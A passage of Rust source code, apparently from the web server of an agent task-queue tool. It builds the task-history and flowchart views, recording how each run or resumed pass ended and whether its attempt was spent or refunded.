6320/// One attempt in a task's history, as the task page lists it.
6321#[derive(Debug, Serialize)]
6322struct TaskRunView {
6323    activity: Option<String>,
6324    /// 1-based position in [`Task::runs`].
6325    n: usize,
6326    id: String,
6327    short: String,
6328    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6329    kind: &'static str,
6330    /// The run's own status string; `None` when its record cannot be read.
6331    status: Option<&'static str>,
6332    /// Whether this build could read the run's record. Counted, never hidden.
6333    readable: bool,
6334    /// A verdict from a collapsed panel is provisional, never a decision.
6335    provisional: bool,
6336    /// What kind of attempt this was, in one line.
6337    description: String,
6338    /// How it ended and why the task moved on (or what it is doing now).
6339    outcome: String,
6340    created_at: Option<Timestamp>,
6341    pr: Option<String>,
6342    /// Why this pass ended, classified once; the flowchart is built from it.
6343    exit: RunExit,
6344    /// What the pass did to the task's attempt budget.
6345    attempt: AttemptCost,
6346    /// Edge wording for leaving this entry; names the recorded cause when
6347    /// there is one.
6348    exit_label: String,
6349    /// The position of a later entry for the same run: this entry is an
6350    /// earlier pass of it.
6351    later_pass: Option<usize>,
6352    /// Which pass over the run this entry is (1-based) and how many entries
6353    /// the task lists for the run. Counted from the list, so known even for
6354    /// a legacy record.
6355    pass_n: usize,
6356    passes_of_run: usize,
6357    /// What the run recorded about this pass; `None` for a record from before
6358    /// passes were kept, whose cause stays unknown.
6359    pass: Option<PassView>,
6360    /// The branch a review-only run reopened.
6361    branch: Option<String>,
6362    /// The badge word when it differs from `status` (`stale` / `superseded`);
6363    /// filled by the task route, which can see liveness and later attempts.
6364    badge: Option<String>,
6365}
6366
6367/// One recorded pass over a run, for the wire.
6368#[derive(Debug, Clone, PartialEq, Serialize)]
6369struct PassView {
6370    index: usize,
6371    resumed: bool,
6372    started_at: Timestamp,
6373    ended_at: Option<Timestamp>,
6374    /// `open`, `parked` or `unrecorded`.
6375    end: &'static str,
6376    cause: Option<crate::run::ParkCause>,
6377    /// One line: why it stopped, or that nobody recorded why.
6378    label: String,
6379    /// What the task recorded for this pass; `None` when it was not settled
6380    /// (or settled by a build that kept no record).
6381    cost: Option<crate::queue::PassCost>,
6382}
6383
6384impl PassView {
6385    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6386        use crate::run::PassEnd;
6387        let (end, cause, label) = match &p.end {
6388            None => ("open", None, "still open".to_owned()),
6389            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6390            Some(PassEnd::Unrecorded) => (
6391                "unrecorded",
6392                None,
6393                "stopped without recording why (a crash, a kill or a restart; not known)"
6394                    .to_owned(),
6395            ),
6396        };
6397        Self {
6398            index: p.index,
6399            resumed: p.resumed,
6400            started_at: p.started_at,
6401            ended_at: p.ended_at,
6402            end,
6403            cause,
6404            label,
6405            cost: settled.map(|t| t.cost),
6406        }
6407    }
6408}
6409
6410/// How one pass over a run ended, as far as the task's life is concerned.
6411#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6412#[serde(rename_all = "snake_case")]
6413enum RunExit {
6414    Unreadable,
6415    /// An earlier pass of a run id that appears again: it stopped short.
6416    Interrupted,
6417    Parked,
6418    MachineBlocked,
6419    QuotaStall,
6420    /// Stalled on a resumed pass with quota losses on record: they may be
6421    /// left over from an earlier pass, so whether this one was refunded is
6422    /// not knowable.
6423    ResumedQuotaStall,
6424    Merged,
6425    Ready,
6426    Superseded,
6427    /// The change was already on the base under other commits: the task
6428    /// finished without this run landing anything.
6429    AlreadyInBase,
6430    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6431    Stalled,
6432    /// Blocked / no-op with a pull request left open: held for a person.
6433    HeldWithPr,
6434    NoopHeld,
6435    /// Blocked or failed: the attempt is spent and the task retries or holds.
6436    Spent,
6437    InProgress,
6438}
6439
6440#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6441#[serde(rename_all = "snake_case")]
6442enum AttemptCost {
6443    Spent,
6444    Refunded,
6445    None,
6446    /// Cannot be told from the records that remain.
6447    Unknown,
6448}
6449
6450impl RunExit {
6451    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6452        let Some(s) = s else {
6453            return Self::Unreadable;
6454        };
6455        let status = s.status;
6456        if resumed_later {
6457            Self::Interrupted
6458        } else if s.parked {
6459            Self::Parked
6460        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6461            Self::MachineBlocked
6462        } else if !status.done() {
6463            Self::InProgress
6464        } else if matches!(status, RunStatus::Merged) {
6465            Self::Merged
6466        } else if matches!(status, RunStatus::Ready) {
6467            Self::Ready
6468        } else if matches!(status, RunStatus::Superseded) {
6469            Self::Superseded
6470        } else if matches!(status, RunStatus::AlreadyInBase) {
6471            Self::AlreadyInBase
6472        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6473            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6474        {
6475            if resumed {
6476                Self::ResumedQuotaStall
6477            } else {
6478                Self::QuotaStall
6479            }
6480        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6481            Self::HeldWithPr
6482        } else if matches!(status, RunStatus::VerifiedNoop) {
6483            Self::NoopHeld
6484        } else if matches!(status, RunStatus::Stalled) {
6485            Self::Stalled
6486        } else {
6487            Self::Spent
6488        }
6489    }
6490
6491    fn cost(self) -> AttemptCost {
6492        match self {
6493            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6494            Self::Merged
6495            | Self::Ready
6496            | Self::Stalled
6497            | Self::HeldWithPr
6498            | Self::NoopHeld
6499            | Self::Spent => AttemptCost::Spent,
6500            Self::InProgress => AttemptCost::None,
6501            Self::AlreadyInBase => AttemptCost::Refunded,
6502            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6503                AttemptCost::Unknown
6504            }
6505        }
6506    }
6507
6508    /// Short edge wording for leaving a run this way.
6509    fn edge_label(self, status: Option<&str>) -> String {
6510        match self {
6511            Self::Unreadable => "record unreadable".to_owned(),
6512            Self::Interrupted => "interrupted before the run finished".to_owned(),
6513            Self::Parked => "parked, attempt refunded".to_owned(),
6514            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6515            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6516            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6517            Self::Merged => "merged".to_owned(),
6518            Self::Ready => "ready, not merged".to_owned(),
6519            Self::Superseded => "superseded by a later attempt".to_owned(),
6520            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6521            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6522            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6523            Self::NoopHeld => "verified no-op".to_owned(),
6524            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6525            Self::InProgress => "in progress".to_owned(),
6526        }
6527    }
6528
6529    /// Does a task in `end` follow from a run that ended this way? When not,
6530    /// somebody closed or held the task by hand.
6531    fn explains(self, end: TaskStatus) -> bool {
6532        match self {
6533            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6534            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6535            Self::Unreadable | Self::Superseded | Self::Ready => true,
6536            _ => end != TaskStatus::Done,
6537        }
6538    }
6539}
6540
6541/// `GET /api/queue/{id}` - one task with every attempt it went through.
6542#[derive(Debug, Serialize)]
6543struct TaskDetailView {
6544    #[serde(flatten)]
6545    task: TaskView,
6546    /// Task override, or the default daemon budget when inherited.
6547    /// A separate loop's command-line limit is not visible from here.
6548    max_attempts: usize,
6549    history: Vec<TaskRunView>,
6550    /// Entries in `history`: passes over runs, not distinct runs and not
6551    /// attempts consumed (`task.attempts`).
6552    passes_total: usize,
6553    /// Distinct runs those passes belong to.
6554    runs_distinct: usize,
6555    flow: FlowView,
6556    /// Set for a follow-up task; see [`followup_origin`].
6557    followup_origin: Option<FollowUpOrigin>,
6558    /// How many entries of `history` could not be read.
6559    runs_unreadable: usize,
6560    /// Why the attempt count can be lower than the number of runs.
6561    attempts_note: &'static str,
6562}
6563
6564const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6565and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6566on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6567the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6568
6569/// The branch a review-only run reopened, read off the instruction
6570/// `Runner::open_review` writes.
6571fn review_branch_of(instruction: &str) -> Option<&str> {
6572    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6573    rest.split('`').next().filter(|b| !b.is_empty())
6574}
6575
6576/// Where an entry sits in a task's run list.
6577#[derive(Default)]
6578struct RunSlot<'a> {
6579    /// 1-based position.
6580    n: usize,
6581    /// The same run id appeared earlier: this pass resumed it.
6582    resumed: bool,
6583    /// Position of a later pass over the same run id, if any.
6584    resumed_later: Option<usize>,
6585    /// The previous distinct run and how it ended, for the retry note.
6586    prior: Option<(&'a str, RunStatus)>,
6587    last: bool,
6588    /// This pass as the run recorded it, when it did.
6589    pass: Option<&'a crate::run::RunPass>,
6590    /// What the task recorded when it settled this pass.
6591    settled: Option<&'a crate::queue::TaskPass>,
6592    /// 1-based position among the task's entries for this run, and their count.
6593    pass_n: usize,
6594    passes_of_run: usize,
6595}
6596
6597/// Describe one entry of a task's run list. Pure: everything it needs is on
6598/// the run and the task, so it is asserted without a server.
6599fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6600    let RunSlot {
6601        n,
6602        resumed,
6603        resumed_later,
6604        prior,
6605        last,
6606        pass,
6607        settled,
6608        pass_n,
6609        passes_of_run,
6610    } = at;
6611    let short = run::short_of(id).to_owned();
6612    let Some(s) = state else {
6613        return TaskRunView {
6614            activity: None,
6615            n,
6616            id: id.to_owned(),
6617            short,
6618            kind: "unknown",
6619            status: None,
6620            readable: false,
6621            provisional: false,
6622            description:
6623                "This run's record could not be read by this build (written by a different \
6624                          magi, or removed), so what kind of attempt it was is unknown."
6625                    .to_owned(),
6626            outcome: String::new(),
6627            created_at: None,
6628            pr: None,
6629            exit: RunExit::Unreadable,
6630            attempt: AttemptCost::Unknown,
6631            exit_label: RunExit::Unreadable.edge_label(None),
6632            later_pass: resumed_later,
6633            pass_n,
6634            passes_of_run,
6635            pass: None,
6636            branch: None,
6637            badge: None,
6638        };
6639    };
6640    let branch = review_branch_of(&s.instruction);
6641    let kind = if resumed {
6642        "resume"
6643    } else if branch.is_some() {
6644        "review"
6645    } else if task.solo || s.candidates.len() == 1 {
6646        "solo"
6647    } else {
6648        "competition"
6649    };
6650    let mut description = match kind {
6651        "resume" => {
6652            format!("Resumed run {short}: the same run carried on instead of competing again.")
6653        }
6654        "review" => format!(
6655            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6656            branch.unwrap_or_default()
6657        ),
6658        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6659        _ => format!(
6660            "Competition: {} candidates judged blind.",
6661            s.candidates.len().max(1)
6662        ),
6663    };
6664    if !resumed && let Some((p, st)) = prior {
6665        description.push_str(&format!(
6666            " A retry: run {p} before it ended {}.",
6667            st.display_label()
6668        ));
6669    }
6670
6671    let status = s.status;
6672    let provisional = matches!(status, RunStatus::Stalled)
6673        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6674    let head = if resumed_later.is_some() {
6675        String::new()
6676    } else {
6677        match status {
6678            RunStatus::Merged => "Merged.".to_owned(),
6679            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6680            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6681            RunStatus::AlreadyInBase => {
6682                "Already in the base: this change landed under other commits, nothing was left to land."
6683                    .to_owned()
6684            }
6685            RunStatus::Stalled => {
6686                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6687                    .to_owned()
6688            }
6689            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6690            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6691            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6692            RunStatus::VerifiedNoop => {
6693                "Verified no-op: the candidates found nothing to change.".to_owned()
6694            }
6695            other if other.done() => format!("Ended {}.", other.display_label()),
6696            other => format!("In progress ({}).", other.display_label()),
6697        }
6698    };
6699    let view = pass.map(|p| PassView::of(p, settled));
6700    let recorded_end = view
6701        .as_ref()
6702        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6703    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6704        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6705        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6706        None => "whether its attempt was handed back was not recorded",
6707    };
6708    let pass_note = if passes_of_run > 1 {
6709        format!(
6710            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6711        )
6712    } else {
6713        String::new()
6714    };
6715    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6716        // The run recorded this pass's end when it happened.
6717        let cause = match v.end {
6718            "parked" => format!("It was stopped on purpose: {}.", v.label),
6719            _ => format!("It {}.", v.label),
6720        };
6721        format!(
6722            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6723            capitalise(cost_words)
6724        )
6725    } else if let Some(k) = resumed_later {
6726        // A run is only picked up again while it is unfinished, so an earlier
6727        // pass of a repeated id stopped short; the record keeps only the run's
6728        // latest status, which is left to the pass that carried it on.
6729        // Only the latest state is recorded: `parked` is cleared on resume
6730        // and `quota` accumulates across passes, so neither says why *this*
6731        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6732        let cause = if s.quota.is_empty() {
6733            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6734        } else {
6735            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6736        };
6737        format!(
6738            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6739        )
6740    } else if s.parked {
6741        match recorded_end.and_then(|v| v.cause.as_ref()) {
6742            Some(cause) => format!(
6743                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6744                cause.label(),
6745                cost_words
6746            ),
6747            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6748                .to_owned(),
6749        }
6750    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6751        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6752    } else if !status.done()
6753        || matches!(
6754            status,
6755            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6756        )
6757    {
6758        String::new()
6759    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6760        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6761    {
6762        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6763            .to_owned()
6764    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6765        " It left a pull request open, so the task was held for a person rather than retried."
6766            .to_owned()
6767    } else if matches!(status, RunStatus::VerifiedNoop) {
6768        " Held for a person to check the claim.".to_owned()
6769    } else if last {
6770        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6771    } else {
6772        " It spent an attempt, and the task moved on to the next run.".to_owned()
6773    };
6774    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6775    let mut attempt = exit.cost();
6776    let mut exit_label = None;
6777    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6778        let spent = match v.cost {
6779            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6780            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6781            None if resumed_later.is_some() => ", refund not recorded",
6782            None => ", attempt refunded",
6783        };
6784        attempt = match v.cost {
6785            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6786            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6787            None if resumed_later.is_some() => AttemptCost::Unknown,
6788            None => attempt,
6789        };
6790        if v.end == "parked" {
6791            exit = RunExit::Parked;
6792            exit_label = Some(match v.cause.as_ref() {
6793                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6794                    format!("parked for {}{spent}", c.label())
6795                }
6796                Some(c) => format!("parked ({}){spent}", c.label()),
6797                None => format!("parked{spent}"),
6798            });
6799        } else {
6800            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6801        }
6802    }
6803    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6804    TaskRunView {
6805        activity: None,
6806        n,
6807        id: id.to_owned(),
6808        short,
6809        kind,
6810        status: Some(status.as_str()),
6811        readable: true,
6812        provisional,
6813        description,
6814        outcome: format!("{head}{why}"),
6815        created_at: Some(s.created_at),
6816        pr: s.pr.as_ref().map(|p| p.url.clone()),
6817        exit,
6818        attempt,
6819        exit_label,
6820        later_pass: resumed_later,
6821        pass_n,
6822        passes_of_run,
6823        pass: view,
6824        branch: branch.map(str::to_owned),
6825        badge: None,
6826    }
6827}
6828
6829fn capitalise(s: &str) -> String {
6830    let mut c = s.chars();
6831    c.next().map_or_else(String::new, |f| {
6832        f.to_uppercase().collect::<String>() + c.as_str()
6833    })
6834}
6835
6836/// One box of the task's flowchart.
6837#[derive(Debug, Serialize, PartialEq)]
6838struct FlowNode {
6839    /// Unique by position: a resumed run id appears once per pass.
6840    key: String,
6841    /// `chat`, `followup`, `start`, `run` or `end`.
6842    kind: &'static str,
6843    label: String,
6844    /// Run status (or the task's, for `end`); `None` when it is not a fact
6845    /// about this box (unreadable, or a pass the run later resumed from).
6846    status: Option<&'static str>,
6847    /// Whose status `status` is, so the client picks the right colour table:
6848    /// `task` (the `followup` parent and `end`) or `run`.
6849    status_of: &'static str,
6850    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6851    note: Option<&'static str>,
6852    run_kind: Option<&'static str>,
6853    detail: Option<String>,
6854    /// A readable run with a real verdict; a stall never is.
6855    decided: bool,
6856    readable: bool,
6857    href: Option<String>,
6858    /// Overrides `status` as the badge word (`stale` / `superseded`).
6859    badge: Option<String>,
6860    /// Start of this entry, never the run's latest update or pass settlement.
6861    started_at: Option<Timestamp>,
6862    /// Context links (chat / follow-up) do not represent execution entries.
6863    time_expected: bool,
6864}
6865
6866#[derive(Debug, Serialize, PartialEq)]
6867struct FlowEdge {
6868    from: String,
6869    to: String,
6870    label: String,
6871    attempt: AttemptCost,
6872}
6873
6874#[derive(Debug, Serialize, PartialEq)]
6875struct FlowView {
6876    nodes: Vec<FlowNode>,
6877    edges: Vec<FlowEdge>,
6878    /// Attempts the task has counted since it was last released.
6879    attempts: usize,
6880    max_attempts: usize,
6881    /// Entries in the run list (passes), and how many distinct runs they are.
6882    /// Neither is the number of attempts consumed.
6883    passes: usize,
6884    runs: usize,
6885}
6886
6887/// Turn a task and its described runs into the flowchart's boxes and arrows.
6888/// Pure: the page only draws what this returns.
6889///
6890/// A follow-up opens with its parent (or the merged run) unless the task's
6891/// *source* is itself a chat, in which case the chat stays first and the
6892/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6893/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6894/// two normally do not coincide and the nearer origin wins.
6895fn task_flow(
6896    task: &Task,
6897    history: &[TaskRunView],
6898    max_attempts: usize,
6899    origin: Option<&FollowUpOrigin>,
6900) -> FlowView {
6901    let max_attempts = task.effective_attempt_limit(max_attempts);
6902    let node = |key: &str, kind, label: String| FlowNode {
6903        key: key.to_owned(),
6904        kind,
6905        label,
6906        status: None,
6907        status_of: "run",
6908        note: None,
6909        run_kind: None,
6910        detail: None,
6911        decided: false,
6912        readable: true,
6913        href: None,
6914        badge: None,
6915        started_at: None,
6916        time_expected: matches!(kind, "start" | "run" | "end"),
6917    };
6918    let mut nodes = Vec::new();
6919    let mut edges: Vec<FlowEdge> = Vec::new();
6920    // A task queued from a chat opens the flow with that conversation.
6921    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6922        let mut n = node(
6923            "chat",
6924            "chat",
6925            format!("Chat {}", crate::queue::short(&link.id)),
6926        );
6927        n.href = Some(link.href);
6928        nodes.push(n);
6929        edges.push(FlowEdge {
6930            from: "chat".to_owned(),
6931            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6932            label: "queued from chat".to_owned(),
6933            attempt: AttemptCost::None,
6934        });
6935    }
6936    if let Some(o) = origin {
6937        let mut n = match &o.parent {
6938            Some(p) => {
6939                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6940                n.status = Some(p.status);
6941                n.status_of = "task";
6942                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6943                n.href = Some(p.href.clone());
6944                n
6945            }
6946            None => {
6947                let mut n = node(
6948                    "origin",
6949                    "followup",
6950                    format!("Follow-up of run {}", o.run.short),
6951                );
6952                n.detail = Some("merged run".to_owned());
6953                n.status = o.run.status;
6954                n.href = o.run.href.clone();
6955                if o.run.href.is_none() {
6956                    n.readable = false;
6957                    n.note = Some("unreadable");
6958                }
6959                n
6960            }
6961        };
6962        n.decided = true;
6963        let from = n.key.clone();
6964        nodes.push(n);
6965        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6966        let more = o.findings.len().saturating_sub(shown.len());
6967        let label = match (shown.is_empty(), more) {
6968            (true, _) => "open findings".to_owned(),
6969            (false, 0) => format!("open findings {}", shown.join(", ")),
6970            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6971        };
6972        edges.push(FlowEdge {
6973            from,
6974            to: "start".to_owned(),
6975            label,
6976            attempt: AttemptCost::None,
6977        });
6978    }
6979    let mut start = node("start", "start", "Task queued".to_owned());
6980    start.started_at = Some(task.created_at);
6981    nodes.push(start);
6982    let mut prev = "start".to_owned();
6983    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6984    for (i, h) in history.iter().enumerate() {
6985        let key = format!("run-{}", h.n);
6986        let mut n = node(&key, "run", format!("Run {}", h.short));
6987        // Creation marks only the first pass of legacy runs. A resumed pass
6988        // without a record must not inherit the original run's start time.
6989        n.started_at = h
6990            .readable
6991            .then(|| {
6992                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6993                    h.created_at
6994                } else {
6995                    None
6996                })
6997            })
6998            .flatten();
6999        n.run_kind = Some(h.kind);
7000        n.readable = h.readable;
7001        n.href = Some(format!("#/runs/{}", h.id));
7002        n.decided = h.readable && !h.provisional;
7003        n.detail = h
7004            .branch
7005            .as_ref()
7006            .map(|b| format!("review-only run of branch {b}"));
7007        match h.exit {
7008            RunExit::Unreadable => n.note = Some("unreadable"),
7009            RunExit::Interrupted => n.note = Some("interrupted"),
7010            // An earlier pass the run recorded as parked: the status shown
7011            // would be the run's current one, not this pass's.
7012            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7013            _ => {
7014                n.status = h.status;
7015                n.badge = h.badge.clone();
7016                if h.provisional {
7017                    n.note = Some("no verdict");
7018                }
7019            }
7020        }
7021        let into = match h.kind {
7022            "review" => Some(format!(
7023                "review-only run of branch {}",
7024                h.branch.as_deref().unwrap_or("?")
7025            )),
7026            "resume" => Some("resume the same run".to_owned()),
7027            _ if i > 0 => Some("retry".to_owned()),
7028            _ => None,
7029        };
7030        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7031        let label = match (prev_exit, into) {
7032            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7033            (Some((_, l, _)), None) => l,
7034            (None, Some(i)) => i,
7035            (None, None) => "claimed".to_owned(),
7036        };
7037        edges.push(FlowEdge {
7038            from: prev.clone(),
7039            to: key.clone(),
7040            label,
7041            attempt,
7042        });
7043        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7044        prev = key;
7045        nodes.push(n);
7046    }
7047    let mut end = node("end", "end", task.status.as_str().to_owned());
7048    end.status = Some(task.status.as_str());
7049    end.status_of = "task";
7050    // Other task states do not persist their transition start. In particular,
7051    // blocked_at can change while the task remains blocked.
7052    if task.status == TaskStatus::Held {
7053        end.started_at = task.held_at;
7054    }
7055    nodes.push(end);
7056    let (label, attempt) = match prev_exit {
7057        None => (
7058            format!("no run yet \u{2192} {}", task.status.as_str()),
7059            AttemptCost::None,
7060        ),
7061        Some((e, l, cost)) if e.explains(task.status) => {
7062            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7063        }
7064        Some((_, _, cost)) => (
7065            format!("closed by hand: task is {}", task.status.as_str()),
7066            cost,
7067        ),
7068    };
7069    edges.push(FlowEdge {
7070        from: prev,
7071        to: "end".to_owned(),
7072        label,
7073        attempt,
7074    });
7075    FlowView {
7076        nodes,
7077        edges,
7078        attempts: task.attempts,
7079        max_attempts,
7080        passes: history.len(),
7081        runs: distinct_runs(&task.runs),
7082    }
7083}
7084
7085/// How many different run ids a task's run list names.
7086fn distinct_runs(runs: &[String]) -> usize {
7087    let mut seen: Vec<&str> = Vec::new();
7088    for r in runs {
7089        if !seen.contains(&r.as_str()) {
7090            seen.push(r);
7091        }
7092    }
7093    seen.len()
7094}
7095
7096/// Describe recorded task passes, retaining unrecorded legacy list entries.
7097fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7098    let mut slots = Vec::new();
7099    let mut seen = Vec::new();
7100    for run_id in &task.runs {
7101        if seen.contains(&run_id) {
7102            continue;
7103        }
7104        seen.push(run_id);
7105        let state = read(run_id);
7106        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7107            s.passes
7108                .iter()
7109                .filter(|p| {
7110                    p.task_entry
7111                        || task
7112                            .passes
7113                            .iter()
7114                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7115                })
7116                .cloned()
7117                .collect()
7118        });
7119        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7120        let total = legacy_count.max(mine.len());
7121        let offset = total - mine.len();
7122        for k in 0..total {
7123            // Legacy repeated entries retain their original positions. When
7124            // ids are unique, recorded pass times recover the resume order.
7125            let position = task
7126                .runs
7127                .iter()
7128                .enumerate()
7129                .filter(|(_, r)| *r == run_id)
7130                .nth(k.min(legacy_count - 1))
7131                .unwrap()
7132                .0;
7133            slots.push((
7134                run_id,
7135                state.clone(),
7136                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7137                position,
7138            ));
7139        }
7140    }
7141    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7142        slots.sort_by_key(|(_, state, pass, _)| {
7143            pass.as_ref()
7144                .map(|p| p.started_at)
7145                .or_else(|| state.as_ref().map(|s| s.created_at))
7146                .map_or((true, task.created_at), |at| (false, at))
7147        });
7148    } else {
7149        slots.sort_by_key(|(_, _, _, position)| *position);
7150    }
7151    let mut history = Vec::with_capacity(slots.len());
7152    let mut seen: Vec<&str> = Vec::new();
7153    let mut prior: Option<(&str, RunStatus)> = None;
7154    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7155        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7156        let resumed = k > 0;
7157        seen.push(run_id);
7158        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7159        let pass = pass.as_ref();
7160        let settled = pass.and_then(|p| {
7161            task.passes
7162                .iter()
7163                .find(|t| t.run == **run_id && t.pass_index == p.index)
7164        });
7165        history.push(task_run_view(
7166            run_id,
7167            state.as_ref(),
7168            RunSlot {
7169                n: i + 1,
7170                resumed,
7171                resumed_later: slots[i + 1..]
7172                    .iter()
7173                    .position(|(id, _, _, _)| id == run_id)
7174                    .map(|off| i + off + 2),
7175                prior,
7176                last: i + 1 == slots.len(),
7177                pass,
7178                settled,
7179                pass_n: k + 1,
7180                passes_of_run: total,
7181            },
7182            task,
7183        ));
7184        if let Some(s) = &state {
7185            prior = Some((run::short_of(run_id), s.status));
7186        }
7187    }
7188    history
7189}
7190
7191/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7192/// An earlier pass of a resumed run keeps no badge (it has no status box).
7193fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7194    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7195        return;
7196    }
7197    let (_, claimed, _) = run_row_inputs(ui);
7198    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7199    for h in history
7200        .iter_mut()
7201        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7202    {
7203        let Ok(state) = read_run(&ui.runs, &h.id) else {
7204            continue;
7205        };
7206        if state.status.done() {
7207            continue;
7208        }
7209        let live = state.liveness_with(
7210            claimed.contains(&h.id),
7211            |p| probe.borrow_mut().status(p),
7212            |p| probe.borrow_mut().started_at(p),
7213        );
7214        let waiting = !ui.questions.open_for(&h.id).is_empty();
7215        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7216        let display = run_display_status(&state, waiting, live);
7217        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7218        if matches!(word.as_str(), "stale" | "superseded")
7219            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7220        {
7221            h.badge = Some(word);
7222        }
7223    }
7224}
7225
7226async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7227    blocking(move || {
7228        let id = resolve_task(&ui.queue, &id)?;
7229        let task = ui.queue.get(&id)?;
7230        let inv = (task.status == TaskStatus::Blocked)
